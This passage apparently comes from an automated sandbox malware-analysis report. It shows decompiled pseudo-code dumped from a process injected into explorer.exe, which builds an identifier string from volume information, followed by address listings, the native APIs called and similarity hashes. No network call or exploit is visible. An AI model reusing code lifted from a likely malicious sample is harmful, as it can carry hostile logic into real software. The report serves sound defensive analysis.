                                                                                                                                                                                                                                                                                                      						_t438 = E010FBB40(_v52, _v52);
                                                                                                                                                                                                                                                                                                      						_t666 = _t666 + 4;
                                                                                                                                                                                                                                                                                                      						_v32 = _t438;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_t615 = _v64 + _v48 + _v56 + _v32;
                                                                                                                                                                                                                                                                                                      					_v92 = _t615;
                                                                                                                                                                                                                                                                                                      					if(_t615 != 0) {
                                                                                                                                                                                                                                                                                                      						_t545 =  &_v12;
                                                                                                                                                                                                                                                                                                      						_t419 = E010F7850( &_v12, _v8 + _v92); // executed
                                                                                                                                                                                                                                                                                                      						_t669 = _t666 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t419 != 0) {
                                                                                                                                                                                                                                                                                                      							if(_v64 != 0) {
                                                                                                                                                                                                                                                                                                      								_t436 = E010F16E0();
                                                                                                                                                                                                                                                                                                      								_t545 =  *((intOrPtr*)(_t436 + 0x134));
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(_t436 + 0x134))))(_v12, _v36);
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v64;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_v48 != 0) {
                                                                                                                                                                                                                                                                                                      								_push(_v44);
                                                                                                                                                                                                                                                                                                      								_t545 = _v12;
                                                                                                                                                                                                                                                                                                      								_push(_v12);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x134))))();
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v48;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_v56 != 0) {
                                                                                                                                                                                                                                                                                                      								_push(_v76);
                                                                                                                                                                                                                                                                                                      								_push(_v12);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x134))))();
                                                                                                                                                                                                                                                                                                      								_t545 = _v8 + _v56;
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v56;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_v32 != 0) {
                                                                                                                                                                                                                                                                                                      								_t425 = E010F16E0();
                                                                                                                                                                                                                                                                                                      								_t545 =  *((intOrPtr*)(_t425 + 0x134));
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(_t425 + 0x134))))(_v12, _v52);
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v32;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						E010F7700(_t545, _v36); // executed
                                                                                                                                                                                                                                                                                                      						E010F7700(_v44, _v44); // executed
                                                                                                                                                                                                                                                                                                      						E010F7700(_v44, _v52); // executed
                                                                                                                                                                                                                                                                                                      						_t666 = _t669 + 0xc;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      						_t407 = E010F7850( &_v12, _v8 + 3); // executed
                                                                                                                                                                                                                                                                                                      						_t666 = _t666 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t407 != 0) {
                                                                                                                                                                                                                                                                                                      							 *((short*)(_v12 + _v8 * 2)) = ( *(E010FD560() + 0xa4) & 0x0000ffff) + 0x30;
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + 1;
                                                                                                                                                                                                                                                                                                      							 *((short*)(_v12 + _v8 * 2)) = ( *(E010FD560() + 0xa8) & 0x0000ffff) + 0x30;
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + 1;
                                                                                                                                                                                                                                                                                                      							 *((short*)(_v12 + _v8 * 2)) = (E010FEC60() & 0x0000ffff) + 0x30;
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_v16 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x29c))))();
                                                                                                                                                                                                                                                                                                      					if(_v16 <= 0) {
                                                                                                                                                                                                                                                                                                      						L57:
                                                                                                                                                                                                                                                                                                      						if(_v8 != 0 && _v12 != 0) {
                                                                                                                                                                                                                                                                                                      							 *((short*)(_v12 + _v8 * 2)) = 0;
                                                                                                                                                                                                                                                                                                      							 *_a4 = _v12;
                                                                                                                                                                                                                                                                                                      							 *_a8 = _v8;
                                                                                                                                                                                                                                                                                                      							_v84 = 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						return _v84;
                                                                                                                                                                                                                                                                                                      					} else {
                                                                                                                                                                                                                                                                                                      						_t392 = E010F7460(_v16 << 2); // executed
                                                                                                                                                                                                                                                                                                      						_t667 = _t666 + 4;
                                                                                                                                                                                                                                                                                                      						_v28 = _t392;
                                                                                                                                                                                                                                                                                                      						if(_v28 == 0) {
                                                                                                                                                                                                                                                                                                      							goto L57;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_t534 = _v28;
                                                                                                                                                                                                                                                                                                      						_push(_v28);
                                                                                                                                                                                                                                                                                                      						_push(_v16);
                                                                                                                                                                                                                                                                                                      						if( *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x29c))))() != _v16) {
                                                                                                                                                                                                                                                                                                      							L56:
                                                                                                                                                                                                                                                                                                      							E010F7700(_t534, _v28); // executed
                                                                                                                                                                                                                                                                                                      							goto L57;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_t534 =  &_v12;
                                                                                                                                                                                                                                                                                                      						_t399 = E010F7850( &_v12, _v8 + _v16 * 8); // executed
                                                                                                                                                                                                                                                                                                      						_t667 = _t667 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t399 == 0) {
                                                                                                                                                                                                                                                                                                      							goto L56;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_v60 = 0;
                                                                                                                                                                                                                                                                                                      						while(_v60 < _v16) {
                                                                                                                                                                                                                                                                                                      							_t403 = E010F16E0();
                                                                                                                                                                                                                                                                                                      							_t534 =  *((intOrPtr*)(_t403 + 0x150));
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(_t403 + 0x150))))(_v12 + _v8 * 2, 0x1104030,  *((intOrPtr*)(_v28 + _v60 * 4)));
                                                                                                                                                                                                                                                                                                      							_t667 = _t667 + 0xc;
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + 8;
                                                                                                                                                                                                                                                                                                      							_v60 = _v60 + 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						goto L56;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_t485 = E010FBB40( &_v68, _v68);
                                                                                                                                                                                                                                                                                                      					_t674 = _t661 + 4;
                                                                                                                                                                                                                                                                                                      					_v20 = _t485;
                                                                                                                                                                                                                                                                                                      					if(_v20 != 0) {
                                                                                                                                                                                                                                                                                                      						_t487 = E010F7850( &_v12, _v20); // executed
                                                                                                                                                                                                                                                                                                      						_t674 = _t674 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t487 != 0 && _v20 != 0) {
                                                                                                                                                                                                                                                                                                      							_push(_v68);
                                                                                                                                                                                                                                                                                                      							_push(_v12);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x12c))))();
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + _v20;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					E010F7700(_v68, _v68); // executed
                                                                                                                                                                                                                                                                                                      					_t661 = _t674 + 4;
                                                                                                                                                                                                                                                                                                      					goto L9;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}





























































































































































































                                                                                                                                                                                                                                                                                                      0x010f4a09
                                                                                                                                                                                                                                                                                                      0x010f4a14
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f4a1c
                                                                                                                                                                                                                                                                                                      0x010f4a24
                                                                                                                                                                                                                                                                                                      0x010f4a2b
                                                                                                                                                                                                                                                                                                      0x010f4a37
                                                                                                                                                                                                                                                                                                      0x010f4a43
                                                                                                                                                                                                                                                                                                      0x010f4a4f
                                                                                                                                                                                                                                                                                                      0x010f4a5b
                                                                                                                                                                                                                                                                                                      0x010f4a67
                                                                                                                                                                                                                                                                                                      0x010f4a73
                                                                                                                                                                                                                                                                                                      0x010f4a7f
                                                                                                                                                                                                                                                                                                      0x010f4a8b
                                                                                                                                                                                                                                                                                                      0x010f4a97
                                                                                                                                                                                                                                                                                                      0x010f4aa3
                                                                                                                                                                                                                                                                                                      0x010f4aaf
                                                                                                                                                                                                                                                                                                      0x010f4abb
                                                                                                                                                                                                                                                                                                      0x010f4ac4
                                                                                                                                                                                                                                                                                                      0x010f4acb
                                                                                                                                                                                                                                                                                                      0x010f4ad2
                                                                                                                                                                                                                                                                                                      0x010f4ae4
                                                                                                                                                                                                                                                                                                      0x010f4ae9
                                                                                                                                                                                                                                                                                                      0x010f4aee
                                                                                                                                                                                                                                                                                                      0x010f4b49
                                                                                                                                                                                                                                                                                                      0x010f4b4e
                                                                                                                                                                                                                                                                                                      0x010f4b57
                                                                                                                                                                                                                                                                                                      0x010f4b60
                                                                                                                                                                                                                                                                                                      0x010f4b69
                                                                                                                                                                                                                                                                                                      0x010f4b72
                                                                                                                                                                                                                                                                                                      0x010f4b7b
                                                                                                                                                                                                                                                                                                      0x010f4b84
                                                                                                                                                                                                                                                                                                      0x010f4b8d
                                                                                                                                                                                                                                                                                                      0x010f4b93
                                                                                                                                                                                                                                                                                                      0x010f4b97
                                                                                                                                                                                                                                                                                                      0x010f4b9e
                                                                                                                                                                                                                                                                                                      0x010f4bad
                                                                                                                                                                                                                                                                                                      0x010f4bb2
                                                                                                                                                                                                                                                                                                      0x010f4bb7
                                                                                                                                                                                                                                                                                                      0x010f4bb9
                                                                                                                                                                                                                                                                                                      0x010f4bbd
                                                                                                                                                                                                                                                                                                      0x010f4bc2
                                                                                                                                                                                                                                                                                                      0x010f4bc5
                                                                                                                                                                                                                                                                                                      0x010f4bcc
                                                                                                                                                                                                                                                                                                      0x010f4bd6
                                                                                                                                                                                                                                                                                                      0x010f4bdb
                                                                                                                                                                                                                                                                                                      0x010f4be0
                                                                                                                                                                                                                                                                                                      0x010f4beb
                                                                                                                                                                                                                                                                                                      0x010f4bef
                                                                                                                                                                                                                                                                                                      0x010f4bfb
                                                                                                                                                                                                                                                                                                      0x010f4c00
                                                                                                                                                                                                                                                                                                      0x010f4c03
                                                                                                                                                                                                                                                                                                      0x010f4c03
                                                                                                                                                                                                                                                                                                      0x010f4be0
                                                                                                                                                                                                                                                                                                      0x010f4c0a
                                                                                                                                                                                                                                                                                                      0x010f4c0f
                                                                                                                                                                                                                                                                                                      0x010f4c0f
                                                                                                                                                                                                                                                                                                      0x010f4c17
                                                                                                                                                                                                                                                                                                      0x010f4c23
                                                                                                                                                                                                                                                                                                      0x010f4c2f
                                                                                                                                                                                                                                                                                                      0x010f4c38
                                                                                                                                                                                                                                                                                                      0x010f4c41
                                                                                                                                                                                                                                                                                                      0x010f4c4a
                                                                                                                                                                                                                                                                                                      0x010f4c53
                                                                                                                                                                                                                                                                                                      0x010f4c5c
                                                                                                                                                                                                                                                                                                      0x010f4c65
                                                                                                                                                                                                                                                                                                      0x010f4c6e
                                                                                                                                                                                                                                                                                                      0x010f4c77
                                                                                                                                                                                                                                                                                                      0x010f4c7d
                                                                                                                                                                                                                                                                                                      0x010f4c81
                                                                                                                                                                                                                                                                                                      0x010f4c88
                                                                                                                                                                                                                                                                                                      0x010f4c9b
                                                                                                                                                                                                                                                                                                      0x010f4ca5
                                                                                                                                                                                                                                                                                                      0x010f4cac
                                                                                                                                                                                                                                                                                                      0x010f4cb1
                                                                                                                                                                                                                                                                                                      0x010f4cb6
                                                                                                                                                                                                                                                                                                      0x010f4cc0
                                                                                                                                                                                                                                                                                                      0x010f4cc5
                                                                                                                                                                                                                                                                                                      0x010f4cc8
                                                                                                                                                                                                                                                                                                      0x010f4ccf
                                                                                                                                                                                                                                                                                                      0x010f4cd5
                                                                                                                                                                                                                                                                                                      0x010f4cd7
                                                                                                                                                                                                                                                                                                      0x010f4cdf
                                                                                                                                                                                                                                                                                                      0x010f4ce0
                                                                                                                                                                                                                                                                                                      0x010f4ce3
                                                                                                                                                                                                                                                                                                      0x010f4cf6
                                                                                                                                                                                                                                                                                                      0x010f4cfc
                                                                                                                                                                                                                                                                                                      0x010f4d06
                                                                                                                                                                                                                                                                                                      0x010f4d10
                                                                                                                                                                                                                                                                                                      0x010f4d20
                                                                                                                                                                                                                                                                                                      0x010f4d26
                                                                                                                                                                                                                                                                                                      0x010f4d30
                                                                                                                                                                                                                                                                                                      0x010f4d3a
                                                                                                                                                                                                                                                                                                      0x010f4d3c
                                                                                                                                                                                                                                                                                                      0x010f4d44
                                                                                                                                                                                                                                                                                                      0x010f4d4d
                                                                                                                                                                                                                                                                                                      0x010f4d4f
                                                                                                                                                                                                                                                                                                      0x010f4d7e
                                                                                                                                                                                                                                                                                                      0x010f4d89
                                                                                                                                                                                                                                                                                                      0x010f4d8b
                                                                                                                                                                                                                                                                                                      0x010f4d98
                                                                                                                                                                                                                                                                                                      0x010f4d9e
                                                                                                                                                                                                                                                                                                      0x010f4da0
                                                                                                                                                                                                                                                                                                      0x010f4da8
                                                                                                                                                                                                                                                                                                      0x010f4db1
                                                                                                                                                                                                                                                                                                      0x010f4db3
                                                                                                                                                                                                                                                                                                      0x010f4db5
                                                                                                                                                                                                                                                                                                      0x010f4dbd
                                                                                                                                                                                                                                                                                                      0x010f4dc6
                                                                                                                                                                                                                                                                                                      0x010f4dde
                                                                                                                                                                                                                                                                                                      0x010f4de9
                                                                                                                                                                                                                                                                                                      0x010f4deb
                                                                                                                                                                                                                                                                                                      0x010f4df8
                                                                                                                                                                                                                                                                                                      0x010f4e05
                                                                                                                                                                                                                                                                                                      0x010f4e0a
                                                                                                                                                                                                                                                                                                      0x010f4e0f
                                                                                                                                                                                                                                                                                                      0x010f4e17
                                                                                                                                                                                                                                                                                                      0x010f4e18
                                                                                                                                                                                                                                                                                                      0x010f4e26
                                                                                                                                                                                                                                                                                                      0x010f4e32
                                                                                                                                                                                                                                                                                                      0x010f4e34
                                                                                                                                                                                                                                                                                                      0x010f4e3d
                                                                                                                                                                                                                                                                                                      0x010f4e3d
                                                                                                                                                                                                                                                                                                      0x010f4e0f
                                                                                                                                                                                                                                                                                                      0x010f4e44
                                                                                                                                                                                                                                                                                                      0x010f4e4b
                                                                                                                                                                                                                                                                                                      0x010f4e4b
                                                                                                                                                                                                                                                                                                      0x010f4e5f
                                                                                                                                                                                                                                                                                                      0x010f4e64
                                                                                                                                                                                                                                                                                                      0x010f4e67
                                                                                                                                                                                                                                                                                                      0x010f4e67
                                                                                                                                                                                                                                                                                                      0x010f4cf6
                                                                                                                                                                                                                                                                                                      0x010f4e6d
                                                                                                                                                                                                                                                                                                      0x010f4e72
                                                                                                                                                                                                                                                                                                      0x010f4e72
                                                                                                                                                                                                                                                                                                      0x010f4cb6
                                                                                                                                                                                                                                                                                                      0x010f4e7a
                                                                                                                                                                                                                                                                                                      0x010f4e86
                                                                                                                                                                                                                                                                                                      0x010f4e92
                                                                                                                                                                                                                                                                                                      0x010f4e9e
                                                                                                                                                                                                                                                                                                      0x010f4eaa
                                                                                                                                                                                                                                                                                                      0x010f4eb6
                                                                                                                                                                                                                                                                                                      0x010f4ec2
                                                                                                                                                                                                                                                                                                      0x010f4ece
                                                                                                                                                                                                                                                                                                      0x010f4eda
                                                                                                                                                                                                                                                                                                      0x010f4ee6
                                                                                                                                                                                                                                                                                                      0x010f4ef2
                                                                                                                                                                                                                                                                                                      0x010f4efe
                                                                                                                                                                                                                                                                                                      0x010f4f0a
                                                                                                                                                                                                                                                                                                      0x010f4f16
                                                                                                                                                                                                                                                                                                      0x010f4f22
                                                                                                                                                                                                                                                                                                      0x010f4f2e
                                                                                                                                                                                                                                                                                                      0x010f4f3a
                                                                                                                                                                                                                                                                                                      0x010f4f46
                                                                                                                                                                                                                                                                                                      0x010f4f52
                                                                                                                                                                                                                                                                                                      0x010f4f5e
                                                                                                                                                                                                                                                                                                      0x010f4f67
                                                                                                                                                                                                                                                                                                      0x010f4f73
                                                                                                                                                                                                                                                                                                      0x010f4f7f
                                                                                                                                                                                                                                                                                                      0x010f4f8b
                                                                                                                                                                                                                                                                                                      0x010f4f97
                                                                                                                                                                                                                                                                                                      0x010f4fa3
                                                                                                                                                                                                                                                                                                      0x010f4faf
                                                                                                                                                                                                                                                                                                      0x010f4fbb
                                                                                                                                                                                                                                                                                                      0x010f4fc7
                                                                                                                                                                                                                                                                                                      0x010f4fd3
                                                                                                                                                                                                                                                                                                      0x010f4fdf
                                                                                                                                                                                                                                                                                                      0x010f4feb
                                                                                                                                                                                                                                                                                                      0x010f4ff7
                                                                                                                                                                                                                                                                                                      0x010f5003
                                                                                                                                                                                                                                                                                                      0x010f500f
                                                                                                                                                                                                                                                                                                      0x010f501b
                                                                                                                                                                                                                                                                                                      0x010f5024
                                                                                                                                                                                                                                                                                                      0x010f5030
                                                                                                                                                                                                                                                                                                      0x010f503c
                                                                                                                                                                                                                                                                                                      0x010f5048
                                                                                                                                                                                                                                                                                                      0x010f5054
                                                                                                                                                                                                                                                                                                      0x010f5060
                                                                                                                                                                                                                                                                                                      0x010f506c
                                                                                                                                                                                                                                                                                                      0x010f5078
                                                                                                                                                                                                                                                                                                      0x010f5084
                                                                                                                                                                                                                                                                                                      0x010f5090
                                                                                                                                                                                                                                                                                                      0x010f509c
                                                                                                                                                                                                                                                                                                      0x010f50a8
                                                                                                                                                                                                                                                                                                      0x010f50b4
                                                                                                                                                                                                                                                                                                      0x010f50c0
                                                                                                                                                                                                                                                                                                      0x010f50cc
                                                                                                                                                                                                                                                                                                      0x010f50d8
                                                                                                                                                                                                                                                                                                      0x010f50e4
                                                                                                                                                                                                                                                                                                      0x010f50f0
                                                                                                                                                                                                                                                                                                      0x010f50fc
                                                                                                                                                                                                                                                                                                      0x010f5108
                                                                                                                                                                                                                                                                                                      0x010f5114
                                                                                                                                                                                                                                                                                                      0x010f511d
                                                                                                                                                                                                                                                                                                      0x010f5129
                                                                                                                                                                                                                                                                                                      0x010f5135
                                                                                                                                                                                                                                                                                                      0x010f5141
                                                                                                                                                                                                                                                                                                      0x010f514d
                                                                                                                                                                                                                                                                                                      0x010f5159
                                                                                                                                                                                                                                                                                                      0x010f5165
                                                                                                                                                                                                                                                                                                      0x010f5171
                                                                                                                                                                                                                                                                                                      0x010f517d
                                                                                                                                                                                                                                                                                                      0x010f5189
                                                                                                                                                                                                                                                                                                      0x010f5195
                                                                                                                                                                                                                                                                                                      0x010f51a1
                                                                                                                                                                                                                                                                                                      0x010f51ad
                                                                                                                                                                                                                                                                                                      0x010f51b9
                                                                                                                                                                                                                                                                                                      0x010f51c5
                                                                                                                                                                                                                                                                                                      0x010f51d1
                                                                                                                                                                                                                                                                                                      0x010f51dd
                                                                                                                                                                                                                                                                                                      0x010f51e9
                                                                                                                                                                                                                                                                                                      0x010f51f5
                                                                                                                                                                                                                                                                                                      0x010f51fe
                                                                                                                                                                                                                                                                                                      0x010f5205
                                                                                                                                                                                                                                                                                                      0x010f520c
                                                                                                                                                                                                                                                                                                      0x010f521e
                                                                                                                                                                                                                                                                                                      0x010f5223
                                                                                                                                                                                                                                                                                                      0x010f5228
                                                                                                                                                                                                                                                                                                      0x010f522e
                                                                                                                                                                                                                                                                                                      0x010f5233
                                                                                                                                                                                                                                                                                                      0x010f5236
                                                                                                                                                                                                                                                                                                      0x010f5236
                                                                                                                                                                                                                                                                                                      0x010f5239
                                                                                                                                                                                                                                                                                                      0x010f5240
                                                                                                                                                                                                                                                                                                      0x010f5252
                                                                                                                                                                                                                                                                                                      0x010f5257
                                                                                                                                                                                                                                                                                                      0x010f525c
                                                                                                                                                                                                                                                                                                      0x010f5262
                                                                                                                                                                                                                                                                                                      0x010f5267
                                                                                                                                                                                                                                                                                                      0x010f526a
                                                                                                                                                                                                                                                                                                      0x010f526a
                                                                                                                                                                                                                                                                                                      0x010f526d
                                                                                                                                                                                                                                                                                                      0x010f5274
                                                                                                                                                                                                                                                                                                      0x010f5283
                                                                                                                                                                                                                                                                                                      0x010f5288
                                                                                                                                                                                                                                                                                                      0x010f528d
                                                                                                                                                                                                                                                                                                      0x010f5293
                                                                                                                                                                                                                                                                                                      0x010f5298
                                                                                                                                                                                                                                                                                                      0x010f529b
                                                                                                                                                                                                                                                                                                      0x010f529b
                                                                                                                                                                                                                                                                                                      0x010f529e
                                                                                                                                                                                                                                                                                                      0x010f52a5
                                                                                                                                                                                                                                                                                                      0x010f52b7
                                                                                                                                                                                                                                                                                                      0x010f52bc
                                                                                                                                                                                                                                                                                                      0x010f52c1
                                                                                                                                                                                                                                                                                                      0x010f52c7
                                                                                                                                                                                                                                                                                                      0x010f52cc
                                                                                                                                                                                                                                                                                                      0x010f52cf
                                                                                                                                                                                                                                                                                                      0x010f52cf
                                                                                                                                                                                                                                                                                                      0x010f52db
                                                                                                                                                                                                                                                                                                      0x010f52de
                                                                                                                                                                                                                                                                                                      0x010f52e1
                                                                                                                                                                                                                                                                                                      0x010f52ee
                                                                                                                                                                                                                                                                                                      0x010f52f2
                                                                                                                                                                                                                                                                                                      0x010f52f7
                                                                                                                                                                                                                                                                                                      0x010f52fc
                                                                                                                                                                                                                                                                                                      0x010f5306
                                                                                                                                                                                                                                                                                                      0x010f5310
                                                                                                                                                                                                                                                                                                      0x010f5315
                                                                                                                                                                                                                                                                                                      0x010f531b
                                                                                                                                                                                                                                                                                                      0x010f5323
                                                                                                                                                                                                                                                                                                      0x010f5323
                                                                                                                                                                                                                                                                                                      0x010f532a
                                                                                                                                                                                                                                                                                                      0x010f532f
                                                                                                                                                                                                                                                                                                      0x010f5330
                                                                                                                                                                                                                                                                                                      0x010f5333
                                                                                                                                                                                                                                                                                                      0x010f533f
                                                                                                                                                                                                                                                                                                      0x010f5347
                                                                                                                                                                                                                                                                                                      0x010f5347
                                                                                                                                                                                                                                                                                                      0x010f534e
                                                                                                                                                                                                                                                                                                      0x010f5353
                                                                                                                                                                                                                                                                                                      0x010f5357
                                                                                                                                                                                                                                                                                                      0x010f5363
                                                                                                                                                                                                                                                                                                      0x010f5368
                                                                                                                                                                                                                                                                                                      0x010f536b
                                                                                                                                                                                                                                                                                                      0x010f536b
                                                                                                                                                                                                                                                                                                      0x010f5372
                                                                                                                                                                                                                                                                                                      0x010f537c
                                                                                                                                                                                                                                                                                                      0x010f5381
                                                                                                                                                                                                                                                                                                      0x010f5387
                                                                                                                                                                                                                                                                                                      0x010f538f
                                                                                                                                                                                                                                                                                                      0x010f538f
                                                                                                                                                                                                                                                                                                      0x010f5372
                                                                                                                                                                                                                                                                                                      0x010f5396
                                                                                                                                                                                                                                                                                                      0x010f53a2
                                                                                                                                                                                                                                                                                                      0x010f53ae
                                                                                                                                                                                                                                                                                                      0x010f53b3
                                                                                                                                                                                                                                                                                                      0x010f53b3
                                                                                                                                                                                                                                                                                                      0x010f53ba
                                                                                                                                                                                                                                                                                                      0x010f53c7
                                                                                                                                                                                                                                                                                                      0x010f53cc
                                                                                                                                                                                                                                                                                                      0x010f53d1
                                                                                                                                                                                                                                                                                                      0x010f53e8
                                                                                                                                                                                                                                                                                                      0x010f53f2
                                                                                                                                                                                                                                                                                                      0x010f540a
                                                                                                                                                                                                                                                                                                      0x010f5414
                                                                                                                                                                                                                                                                                                      0x010f5428
                                                                                                                                                                                                                                                                                                      0x010f5432
                                                                                                                                                                                                                                                                                                      0x010f5432
                                                                                                                                                                                                                                                                                                      0x010f53d1
                                                                                                                                                                                                                                                                                                      0x010f5435
                                                                                                                                                                                                                                                                                                      0x010f5437
                                                                                                                                                                                                                                                                                                      0x010f5446
                                                                                                                                                                                                                                                                                                      0x010f544d
                                                                                                                                                                                                                                                                                                      0x010f54fd
                                                                                                                                                                                                                                                                                                      0x010f5501
                                                                                                                                                                                                                                                                                                      0x010f5511
                                                                                                                                                                                                                                                                                                      0x010f551b
                                                                                                                                                                                                                                                                                                      0x010f5523
                                                                                                                                                                                                                                                                                                      0x010f5525
                                                                                                                                                                                                                                                                                                      0x010f5525
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f5453
                                                                                                                                                                                                                                                                                                      0x010f545a
                                                                                                                                                                                                                                                                                                      0x010f545f
                                                                                                                                                                                                                                                                                                      0x010f5462
                                                                                                                                                                                                                                                                                                      0x010f5469
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f546f
                                                                                                                                                                                                                                                                                                      0x010f5472
                                                                                                                                                                                                                                                                                                      0x010f5476
                                                                                                                                                                                                                                                                                                      0x010f5487
                                                                                                                                                                                                                                                                                                      0x010f54f1
                                                                                                                                                                                                                                                                                                      0x010f54f5
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f54fa
                                                                                                                                                                                                                                                                                                      0x010f5493
                                                                                                                                                                                                                                                                                                      0x010f5497
                                                                                                                                                                                                                                                                                                      0x010f549c
                                                                                                                                                                                                                                                                                                      0x010f54a1
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f54a3
                                                                                                                                                                                                                                                                                                      0x010f54b5
                                                                                                                                                                                                                                                                                                      0x010f54d6
                                                                                                                                                                                                                                                                                                      0x010f54db
                                                                                                                                                                                                                                                                                                      0x010f54e1
                                                                                                                                                                                                                                                                                                      0x010f54e3
                                                                                                                                                                                                                                                                                                      0x010f54ec
                                                                                                                                                                                                                                                                                                      0x010f54b2
                                                                                                                                                                                                                                                                                                      0x010f54b2
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f54b5
                                                                                                                                                                                                                                                                                                      0x010f4af0
                                                                                                                                                                                                                                                                                                      0x010f4af4
                                                                                                                                                                                                                                                                                                      0x010f4af9
                                                                                                                                                                                                                                                                                                      0x010f4afc
                                                                                                                                                                                                                                                                                                      0x010f4b03
                                                                                                                                                                                                                                                                                                      0x010f4b0d
                                                                                                                                                                                                                                                                                                      0x010f4b12
                                                                                                                                                                                                                                                                                                      0x010f4b17
                                                                                                                                                                                                                                                                                                      0x010f4b22
                                                                                                                                                                                                                                                                                                      0x010f4b26
                                                                                                                                                                                                                                                                                                      0x010f4b32
                                                                                                                                                                                                                                                                                                      0x010f4b3a
                                                                                                                                                                                                                                                                                                      0x010f4b3a
                                                                                                                                                                                                                                                                                                      0x010f4b17
                                                                                                                                                                                                                                                                                                      0x010f4b41
                                                                                                                                                                                                                                                                                                      0x010f4b46
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f4b46

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtCreateFile.NTDLL(00000000,00100001,00000018,?,00000000,00000080,00000001,00000001,00000000,00000000,00000000), ref: 010F4D89
                                                                                                                                                                                                                                                                                                      • NtQueryVolumeInformationFile.NTDLL(00000000,?,?,00000018,00000001), ref: 010F4DE9
                                                                                                                                                                                                                                                                                                      • NtClose.NTDLL(00000000), ref: 010F4E4B
                                                                                                                                                                                                                                                                                                        • Part of subcall function 010F7700: NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00004000,00000000), ref: 010F7728
                                                                                                                                                                                                                                                                                                        • Part of subcall function 010F7700: NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 010F7741
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FileFreeMemoryVirtual$CloseCreateInformationQueryVolume
                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                      • API String ID: 2310517972-2766056989
                                                                                                                                                                                                                                                                                                      • Opcode ID: b8b285c42bf07bc1008a3810999fd2e45ff7094a2fa7b1911ca18bee9aa1fb78
                                                                                                                                                                                                                                                                                                      • Instruction ID: eaabe069d7d98253074ca465ddc36336b01f4558910921ea04ba3f86291ebaa5
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b8b285c42bf07bc1008a3810999fd2e45ff7094a2fa7b1911ca18bee9aa1fb78
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 976209B4A102189BDB14DFA4DC41BDEB3B1EF58301F1480ACD24CEB291EB799E84CB59
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

